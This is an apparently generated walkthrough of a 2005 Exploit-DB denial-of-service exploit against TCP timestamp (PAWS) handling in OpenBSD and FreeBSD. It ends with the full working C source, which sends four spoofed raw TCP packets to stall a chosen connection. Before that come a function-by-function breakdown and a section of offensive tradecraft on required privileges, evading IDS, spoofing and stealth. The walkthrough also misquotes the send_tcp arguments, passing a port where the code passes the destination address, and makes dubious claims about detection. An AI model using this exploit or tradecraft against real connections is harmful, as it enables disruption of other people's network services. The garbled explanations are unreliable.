Understanding TCP Timestamp Option Exploitation for Denial of Service

Understanding TCP Timestamp Option Exploitation for Denial of Service
What this paper is
This paper, published in 2005, details a Denial of Service (DoS) vulnerability in the TCP protocol's timestamp option implementation. Specifically, it explains how an attacker can exploit the way some operating systems handle TCP timestamp options to cause a TCP connection to stall and eventually time out. The core issue lies in the validation logic of the Protection Against Wrapped Sequence Numbers (PAWS) algorithm, which is designed to prevent issues with old packets from re-entering a connection due to sequence number wrapping.
Simple technical breakdown
TCP uses a timestamp option to help manage connections, especially for high-performance networks. This option includes a timestamp value (TSval) sent by one side and echoed back by the other. The PAWS algorithm is supposed to check if an incoming TCP segment's timestamp is valid relative to the last received timestamp.
The vulnerability arises because some TCP implementations don't strictly validate the timestamp option before updating their internal record of the "recent" timestamp. An attacker can send specially crafted TCP packets with spoofed IP addresses and ports, containing invalid or out-of-order timestamp options. By sending a few carefully chosen packets, an attacker can trick the target system into accepting a "bad" timestamp. Once this bad timestamp is accepted, any subsequent legitimate packets from the actual peer with valid timestamps will be rejected by the PAWS mechanism, effectively halting the connection.
The paper highlights that the issue is in how the tcp_input function in some TCP/IP stacks (specifically mentioning OpenBSD and FreeBSD at the time) handled the timestamp validation. The code snippet provided in the paper shows a modified check that was intended to be more robust but, according to the author, still had flaws.
Complete code and payload walkthrough
The provided C code implements a tool to send spoofed TCP packets to exploit this vulnerability. Let's break down the code:
checksum function
- Purpose: Calculates the Internet checksum for a given buffer of data. This is a standard function used in IP and TCP headers to ensure data integrity.
- Inputs:
data: A pointer to au_int16_tarray (representing the data buffer).length: The length of the data buffer in bytes.
- Behavior:
- It iterates through the data, summing up 16-bit words.
- If the length is odd, it adds the last byte by shifting it left by 8 bits.
- It then performs a one's complement sum and returns the one's complement of the result, which is the checksum.
- Output: A
u_int16_trepresenting the calculated checksum.
send_tcp function
- Purpose: Constructs and sends a raw TCP packet with a spoofed IP header and TCP header, including the TCP timestamp option.
- Inputs:
sock: The socket file descriptor to use for sending.saddr: Source IP address (as au_int32_t).daddr: Destination IP address (as au_int32_t).sport: Source port (as au_int16_t).dport: Destination port (as au_int16_t).seq: TCP sequence number (as au_int32_t).ts: TCP timestamp value (as au_int32_t).
- Behavior:
- Packet Buffer: Allocates a buffer
packetfor the IP and TCP headers, plus options. - TCP Options Construction:
opt = packet + sizeof(struct ip) + sizeof(struct tcphdr);: Pointsoptto the location where TCP options will be placed.optlen = 0;: Initializes option length.opt[optlen++] = TCPOPT_NOP;: Inserts a No-Operation option.opt[optlen++] = TCPOPT_NOP;: Inserts another No-Operation option. These are often used for alignment.opt[optlen++] = TCPOPT_TIMESTAMP;: Inserts the TCP Timestamp option kind.opt[optlen++] = 10;: Inserts the TCP Timestamp option length (2 bytes for kind/length + 4 bytes for TSval + 4 bytes for TS echo reply = 10 bytes).ts = htonl(ts);: Converts the provided timestamp value to network byte order.memcpy(opt + optlen, &ts, sizeof(ts));: Copies the TSval into the option data.optlen += sizeof(ts);: Incrementsoptlenby the size of TSval.ts = htonl(0);: Sets the TS echo reply to 0 (network byte order). The vulnerability doesn't strictly require a valid echo reply, but it's part of the option structure.memcpy(opt + optlen, &ts, sizeof(ts));: Copies the TS echo reply.optlen += sizeof(ts);: Incrementsoptlen.
- IP Header Construction:
len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;: Calculates the total packet length.ip = (struct ip *)packet;: Casts the start of the packet buffer to anipstruct.ip->ip_src.s_addr = saddr;: Sets the source IP address.ip->ip_dst.s_addr = daddr;: Sets the destination IP address.ip->ip_p = IPPROTO_TCP;: Sets the protocol to TCP.ip->ip_len = htons(sizeof(struct tcphdr) + optlen);: Sets the IP payload length (TCP header + options). This will be overwritten later with the full packet length.
- TCP Header Construction:
tcp = (struct tcphdr *)(packet + sizeof(struct ip));: Casts the buffer after the IP header to atcphdrstruct.tcp->th_sport = htons(sport);: Sets the source port.tcp->th_dport = htons(dport);: Sets the destination port.tcp->th_seq = htonl(seq);: Sets the sequence number.tcp->th_ack = 0;: Sets the acknowledgment number to 0.tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;: Sets the data offset (header length in 32-bit words).tcp->th_flags = 0;: Sets TCP flags to 0 (no flags set, typically for a data packet or initial SYN if not explicitly set).tcp->th_win = htons(16384);: Sets the window size.tcp->th_sum = 0;: Initializes checksum to 0 for calculation.tcp->th_urp = 0;: Sets urgent pointer to 0.
- Checksum Calculation:
tcp->th_sum = checksum((u_int16_t *)ip, len);: Calculates the TCP checksum. Note that thechecksumfunction expects the IP header to be part of the data for the TCP pseudo-header calculation, which is implicitly handled by passing(u_int16_t *)ipand the totallen.
- Final IP Header Fields:
ip->ip_v = 4;: Sets IP version to IPv4.ip->ip_hl = 5;: Sets IP header length to 5 (20 bytes).ip->ip_tos = 0;: Sets Type of Service to 0.ip->ip_len = htons(len);: Sets the total IP packet length (correctly).ip->ip_id = htons(arc4random() % 65536);: Sets a random IP identification.ip->ip_off = 0;: Sets IP fragmentation offset to 0.ip->ip_ttl = 64;: Sets Time To Live to 64.
- Socket Setup for Sending:
sin.sin_family = AF_INET;: Sets address family to IPv4.sin.sin_addr.s_addr = saddr;: Sets the source IP address for thesendtocall. This is important for raw sockets as it helps the kernel determine the outgoing interface.
- Sending the Packet:
r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));: Sends the raw packet.- Error handling is included.
- Packet Buffer: Allocates a buffer
- Output: Returns 0 on success, 1 on failure.
op function
- Purpose: This function implements a specific type of integer "wrapping" or "flipping" for 32-bit unsigned integers. It's designed to generate values that are approximately opposite to the input value within the 32-bit range, specifically targeting the "integer wraparound opposites" mentioned in the paper.
- Inputs:
u: Au_int32_tvalue.
- Behavior:
u_int64_t)u + 2147483648UL: This part adds 2^31 to the input valueu.2147483648ULis the maximum value for a signed 32-bit integer plus one, effectively representing the midpoint of the 32-bit unsigned range.% 4294967296ULL: This performs a modulo operation with 2^32 (the total range ofu_int32_t). This ensures the result stays within the 32-bit unsigned integer range.- The combination effectively calculates
(u + 2^31) mod 2^32. This operation maps a valuextox + 2^31ifx < 2^31, and tox - 2^31ifx >= 2^31. This is a common way to generate values that are "opposite" in a circular sense for sequence numbers or timestamps that wrap around.
- Output: A
u_int32_trepresenting the "wrapped" value.
main function
- Purpose: The entry point of the program. It parses command-line arguments, sets up a raw socket, and sends four specially crafted TCP packets to trigger the DoS vulnerability.
- Inputs:
argc: Number of command-line arguments.argv: Array of command-line argument strings.
- Behavior:
- Argument Parsing:
- Checks if
argcis 5 (program name + src IP, src port, dst IP, dst port). - Parses the IP addresses using
inet_addrand ports usingatoi.
- Checks if
- Socket Setup:
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);: Creates a raw socket. This allows sending IP packets directly, bypassing the normal TCP/IP stack for header construction.i = 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1): This crucialsetsockoptcall tells the kernel that the application will provide the IP header. Without this, the kernel would try to build its own IP header.
- Generating Initial Values:
seq = arc4random();: Generates a random initial TCP sequence number.ts = arc4random();: Generates a random initial TCP timestamp value.
- Sending Exploit Packets:
- The core of the exploit lies in these four
send_tcpcalls:send_tcp(sock, saddr, dport, sport, dport, seq, ts): Sends a packet with the original random sequence number and timestamp.send_tcp(sock, saddr, dport, sport, dport, seq, op(ts)): Sends a packet with the original sequence number but the "wrapped" timestamp.send_tcp(sock, saddr, dport, sport, dport, op(seq), ts): Sends a packet with the "wrapped" sequence number but the original timestamp.send_tcp(sock, saddr, dport, sport, dport, op(seq), op(ts)): Sends a packet with both the "wrapped" sequence number and timestamp.
- Rationale for Four Packets: The paper explains that "half of the possible th_seq and timestamp values are accepted, four packets containing two random values and their integer wraparound opposites are sufficient to get one random timestamp accepted by the receipient." This strategy aims to cover the different scenarios where the target system might accept one of the timestamp values due to its validation logic, particularly when dealing with sequence number and timestamp wrapping. The
op()function is used to generate these "opposite" values.
- The core of the exploit lies in these four
- Cleanup:
close(sock);: Closes the socket.- Prints "done" on success.
- Argument Parsing:
- Output: Exits with status 0 on success, 1 on error.
Code Fragment/Block -> Practical Purpose Mapping
checksumfunction -> Standard TCP/IP checksum calculation for packet integrity.send_tcpfunction -> Constructs and sends spoofed TCP packets with custom IP/TCP headers and timestamp options.opt[optlen++] = TCPOPT_NOP;-> Padding for option alignment.opt[optlen++] = TCPOPT_TIMESTAMP;-> Identifies the TCP Timestamp option.opt[optlen++] = 10;-> Specifies the length of the TCP Timestamp option (Kind, Length, TSval, TSEchoReply).memcpy(opt + optlen, &ts, sizeof(ts));-> Inserts the actual timestamp value (TSval).ip->ip_src.s_addr = saddr;-> Sets the source IP address for spoofing.ip->ip_dst.s_addr = daddr;-> Sets the destination IP address.ip->ip_p = IPPROTO_TCP;-> Specifies the IP protocol as TCP.tcp->th_seq = htonl(seq);-> Sets the TCP sequence number.tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;-> Sets the TCP header length.tcp->th_sum = checksum((u_int16_t *)ip, len);-> Calculates and sets the TCP checksum.ip->ip_len = htons(len);-> Sets the total IP packet length.ip->ip_id = htons(arc4random() % 65536);-> Sets a random IP ID to avoid detection based on predictable IDs.setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i))-> Enables raw socket usage where the application provides the IP header.seq = arc4random();-> Generates a random initial sequence number.ts = arc4random();-> Generates a random initial timestamp value.op(u_int32_t u)function -> Generates "wrapped" or "opposite" 32-bit integer values for sequence numbers and timestamps.- The four
send_tcpcalls inmain-> The core exploit logic, sending packets with original and "wrapped" sequence/timestamp values to trigger the vulnerability.
Shellcode/Payload Segments
This exploit does not involve traditional shellcode in the sense of executing arbitrary code on the target. The "payload" here is the crafted TCP packet itself, designed to manipulate the TCP stack's internal state. The goal is not to gain a shell but to cause a Denial of Service by disrupting the TCP connection.
The send_tcp function constructs the packet, and the main function orchestrates sending four variations of this packet to exploit the PAWS validation logic. The op function is a helper to generate the specific values needed for the exploit.
Practical details for offensive operations teams
- Required Access Level: This exploit requires the ability to send raw IP packets. This typically means running with root privileges or having specific capabilities (like
CAP_NET_RAWon Linux) on the attacking machine. - Lab Preconditions:
- Target Environment: A vulnerable TCP/IP stack implementation (e.g., older versions of OpenBSD, FreeBSD, or other systems that might have had similar implementations of the PAWS algorithm at the time). Testing on modern, patched systems is unlikely to yield results.
- Network Access: The attacker needs to be able to send IP packets to the target IP address and port. This could be from the same subnet, through a router, or over the internet, depending on network configurations.
- Connection Information: The attacker must know or be able to guess the source IP, source port, destination IP, and destination port of an existing or potential TCP connection between two peers. The exploit works by injecting packets into a connection.
- Vulnerable Peer: The exploit targets one of the peers in a TCP connection. The other peer is the one that will be tricked into accepting the bad timestamp.
- Tooling Assumptions:
- A C compiler (like GCC) to compile the provided exploit code.
- Standard networking libraries (
sys/socket.h,netinet/in.h, etc.). - Root privileges or equivalent on the attacking machine to create raw sockets.
- Execution Pitfalls:
- Patching: Modern operating systems have patched this specific vulnerability. The exploit will likely fail against up-to-date systems.
- Firewalls/Intrusion Detection Systems (IDS): Network devices might detect or block raw IP packets, especially those with spoofed source IPs or unusual TCP flag combinations. IDS might also flag the pattern of four packets with specific timestamp/sequence number variations.
- Network Address Translation (NAT): If NAT is involved, spoofing source IPs can be problematic, as the NAT device might interfere with the packet routing or rewrite headers in unexpected ways.
- Connection State: The exploit is most effective when it can inject packets into an active TCP connection. If the connection is not established or is in a very early state, the impact might be different. The paper implies injecting into an existing connection.
- Correct Peer Identification: The attacker needs to target the correct peer in the conversation. Sending packets to the wrong IP/port combination will have no effect.
- Timestamp/Sequence Number Wrapping: The
op()function is crucial. If the implementation of "wrapping" or the expected values differ slightly, the exploit might not work. The exact values ofseqandtsare randomized, but their "wrapped" counterparts are deterministic based onop(). - TCP Options Parsing: Some network devices or host-based firewalls might strip or modify TCP options, preventing the exploit from reaching the target's TCP stack.
- Tradecraft Considerations:
- Spoofing: The source IP and port are spoofed. This is a common technique in DoS attacks but can be detected if ingress filtering is in place on the network.
- Low Volume: The exploit sends only four packets. This low volume might make it harder to detect by simple traffic volume monitoring, but the pattern of the packets is the key.
- Targeting: The attacker needs to identify a target connection to disrupt. This might involve reconnaissance to discover active connections.
- Stealth: While the packets are small and few, the act of sending raw, spoofed packets can be noisy from a network forensics perspective.
Where this was used and when
- Discovery/Publication: The paper was published in May 2005 by Daniel Hartmeier.
- Vulnerable Systems: The paper explicitly mentions that OpenBSD and FreeBSD contained code exhibiting this vulnerability. It's highly probable that other operating systems with similar TCP/IP stack implementations also shared this flaw.
- Context: This vulnerability was relevant in the mid-2000s, a period when TCP extensions like timestamps were becoming more widespread, and their implementations were still being scrutinized for security weaknesses. Such vulnerabilities were often discovered and disclosed as part of ongoing security research into core network protocols. It's unlikely to be a widespread threat against modern, patched systems.
Defensive lessons for modern teams
- Keep Systems Patched: The most fundamental lesson is the importance of timely security patching. This vulnerability was fixed by updating the TCP/IP stack's PAWS implementation.
- Understand Protocol Extensions: While extensions like TCP timestamps improve performance, they also introduce complexity and potential attack surfaces. Security teams need to be aware of these extensions and their implications.
- Robust Validation Logic: Implementations of protocol features must have strict and correct validation logic. The vulnerability here stemmed from insufficient validation of timestamp options.
- Network Ingress Filtering: Implementing ingress filtering on routers to drop packets with spoofed source IP addresses that do not originate from the router's network can mitigate many spoofing-based attacks, including this one.
- IDS/IPS Signatures: Intrusion Detection/Prevention Systems can be configured with signatures to detect patterns of suspicious raw packet crafting, such as the specific sequence of packets used in this exploit.
- TCP Option Handling: Network devices (firewalls, load balancers) that inspect or manipulate TCP options should do so carefully, ensuring they don't inadvertently break or enable vulnerabilities in the TCP stack.
- Regular Audits and Code Reviews: For developers of network stacks, regular security audits and code reviews of critical components like the TCP/IP stack are essential to catch such flaws early.
ASCII visual (if applicable)
This exploit primarily targets the internal state of a single host's TCP stack. A visual representation of the network flow is less critical than understanding the interaction between the attacker's packets and the target's TCP state machine. However, we can illustrate the basic concept of injecting packets into a connection:
+-----------------+ +-----------------+
| Attacker Machine| ----> | Target Peer A |
| (Root/Privileged| | (Vulnerable TCP |
| Socket) | | Stack) |
+-----------------+ +-------+---------+
|
| (TCP Connection)
|
v
+-----------------+
| Target Peer B |
| (Legitimate Peer|
| of A) |
+-----------------+Explanation:
- The attacker sends spoofed packets to
Target Peer A. Target Peer Ais the machine running the vulnerable TCP/IP stack.- The attacker's packets are crafted to trick
Target Peer Ainto accepting a bad timestamp option fromTarget Peer B(or a spoofed packet pretending to be fromTarget Peer B). - Once
Target Peer Aaccepts the bad timestamp, it will reject subsequent legitimate packets fromTarget Peer Bdue to the PAWS check, causing the connection to fail.
Source references
- Paper: TCP TIMESTAMPS - Denial of Service
- Author: Daniel Hartmeier
- Published: 2005-05-21
- Keywords: Multiple, dos
- Paper URL: https://www.exploit-db.com/papers/1008
- Raw URL: https://www.exploit-db.com/raw/1008
- Referenced RFCs (within the paper):
- RFC-1323 (TCP Extensions for High Performance)
- RFC-793 (Transmission Control Protocol)
- draft-jacobson-tsvwg-1323bis-00.html (likely an early draft related to RFC 1323)
- Referenced Code:
sys/netinet/tcp_input.c(OpenBSD and FreeBSD source files)
Original Exploit-DB Content (Verbatim)
/*
* TCP does not adequately validate segments before updating timestamp value
* http://www.kb.cert.org/vuls/id/637934
*
* RFC-1323 (TCP Extensions for High Performance)
*
* 4.2.1 defines how the PAWS algorithm should drop packets with invalid
* timestamp options:
*
* R1) If there is a Timestamps option in the arriving segment
* and SEG.TSval < TS.Recent and if TS.Recent is valid (see
* later discussion), then treat the arriving segment as not
* acceptable:
*
* Send an acknowledgement in reply as specified in
* RFC-793 page 69 and drop the segment.
*
* 3.4 defines what timestamp options to accept:
*
* (2) If Last.ACK.sent falls within the range of sequence numbers
* of an incoming segment:
*
* SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN
*
* then the TSval from the segment is copied to TS.Recent;
* otherwise, the TSval is ignored.
*
* http://community.roxen.com/developers/idocs/drafts/
* draft-jacobson-tsvwg-1323bis-00.html
*
* 3.4 suggests an slightly different check like
*
* (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent
* then SEG.TSval is copied to TS.Recent; otherwise, it is
* ignored.
*
* and explains this change
*
* APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323
*
* There are additional changes in this document from RFC-1323.
* These changes are:
* (b) In RFC-1323, section 3.4, step (2) of the algorithm to control
* which timestamp is echoed was incorrect in two regards:
* (1) It failed to update TSrecent for a retransmitted segment
* that resulted from a lost ACK.
* (2) It failed if SEG.LEN = 0.
* In the new algorithm, the case of SEG.TSval = TSrecent is
* included for consistency with the PAWS test.
*
* At least OpenBSD and FreeBSD contain this code instead:
*
* sys/netinet/tcp_input.c tcp_input()
*
* **
* * If last ACK falls within this segment's sequence numbers,
* * record its timestamp.
* * NOTE that the test is modified according to the latest
* * proposal of the tcplw@cray.com list (Braden 1993/04/26).
* **
* if ((to.to_flags & TOF_TS) != 0 &&
* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
* tp->ts_recent_age = ticks;
* tp->ts_recent = to.to_tsval;
* }
*
* The problem here is that the packet the timestamp is accepted from doesn't
* need to have a valid th_seq or th_ack. This point of execution is reached
* for packets with arbitrary th_ack values and th_seq values of half the
* possible value range, because the first 'if (todrop > tlen)' check in the
* function explicitely continues execution to process ACKs.
*
* If an attacker knows (or guesses) the source and destination addresses and
* ports of a connection between two peers, he can send spoofed TCP packets
* to either peer containing bogus timestamp options. Since half of the
* possible th_seq and timestamp values are accepted, four packets containing
* two random values and their integer wraparound opposites are sufficient to
* get one random timestamp accepted by the receipient. Further packets from
* the real peer will get dropped by PAWS, and the TCP connection stalls and
* times out.
*
* The following change reverts the tcp_input() check back to the implemented
* suggested by draft-jacobson-tsvwg-1323bis-00.txt
*
* if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) &&
* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
* + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen +
* + ((tiflags & (TH_SYN|TH_FIN)) != 0)))
* + tp->ts_recent = opti.ts_val;
* + else
* + tp->ts_recent = 0;
* tp->ts_recent_age = tcp_now;
* - tp->ts_recent = opti.ts_val;
* }
*
* I can't find Braden's proposal referenced in the comment. It seems to
* pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by
* it.
*
* Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx>
*
* http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\
* ?r1=1.184&r2=1.185&f=h
*
* http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\
* ?r1=1.252.2.15&r2=1.252.2.16&f=h
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <net/if.h>
#ifdef __FreeBSD__
#include <net/if_var.h>
#endif
#include <netinet/in.h>
#include <netinet/in_var.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
static u_int16_t
checksum(u_int16_t *data, u_int16_t length)
{
u_int32_t value = 0;
u_int16_t i;
for (i = 0; i < (length >> 1); ++i)
value += data[i];
if ((length & 1) == 1)
value += (data[i] << 8);
value = (value & 65535) + (value >> 16);
return (~value);
}
static int
send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,
u_int16_t dport, u_int32_t seq, u_int32_t ts)
{
u_char packet[1600];
struct tcphdr *tcp;
struct ip *ip;
unsigned char *opt;
int optlen, len, r;
struct sockaddr_in sin;
memset(packet, 0, sizeof(packet));
opt = packet + sizeof(struct ip) + sizeof(struct tcphdr);
optlen = 0;
opt[optlen++] = TCPOPT_NOP;
opt[optlen++] = TCPOPT_NOP;
opt[optlen++] = TCPOPT_TIMESTAMP;
opt[optlen++] = 10;
ts = htonl(ts);
memcpy(opt + optlen, &ts, sizeof(ts));
optlen += sizeof(ts);
ts = htonl(0);
memcpy(opt + optlen, &ts, sizeof(ts));
optlen += sizeof(ts);
len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;
ip = (struct ip *)packet;
ip->ip_src.s_addr = saddr;
ip->ip_dst.s_addr = daddr;
ip->ip_p = IPPROTO_TCP;
ip->ip_len = htons(sizeof(struct tcphdr) + optlen);
tcp = (struct tcphdr *)(packet + sizeof(struct ip));
tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = htonl(seq);
tcp->th_ack = 0;
tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;
tcp->th_flags = 0;
tcp->th_win = htons(16384);
tcp->th_sum = 0;
tcp->th_urp = 0;
tcp->th_sum = checksum((u_int16_t *)ip, len);
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_tos = 0;
ip->ip_len = htons(len);
ip->ip_id = htons(arc4random() % 65536);
ip->ip_off = 0;
ip->ip_ttl = 64;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = saddr;
r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));
if (r != len) {
perror("sendto");
return (1);
}
return (0);
}
static u_int32_t
op(u_int32_t u)
{
return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);
}
int main(int argc, char *argv[])
{
u_int32_t saddr, daddr, seq, ts;
u_int16_t sport, dport;
int sock, i;
if (argc != 5) {
fprintf(stderr, "usage: %s <src ip> <src port> "
"<dst ip> <dst port>\n", argv[0]);
return (1);
}
saddr = inet_addr(argv[1]);
daddr = inet_addr(argv[3]);
sport = atoi(argv[2]);
dport = atoi(argv[4]);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return (1);
}
i = 1;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) {
perror("setsockopt");
close(sock);
return (1);
}
seq = arc4random();
ts = arc4random();
if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||
send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||
send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||
send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {
fprintf(stderr, "failed\n");
close(sock);
return (1);
}
close(sock);
printf("done\n");
return (0);
}
// milw0rm.com [2005-05-21]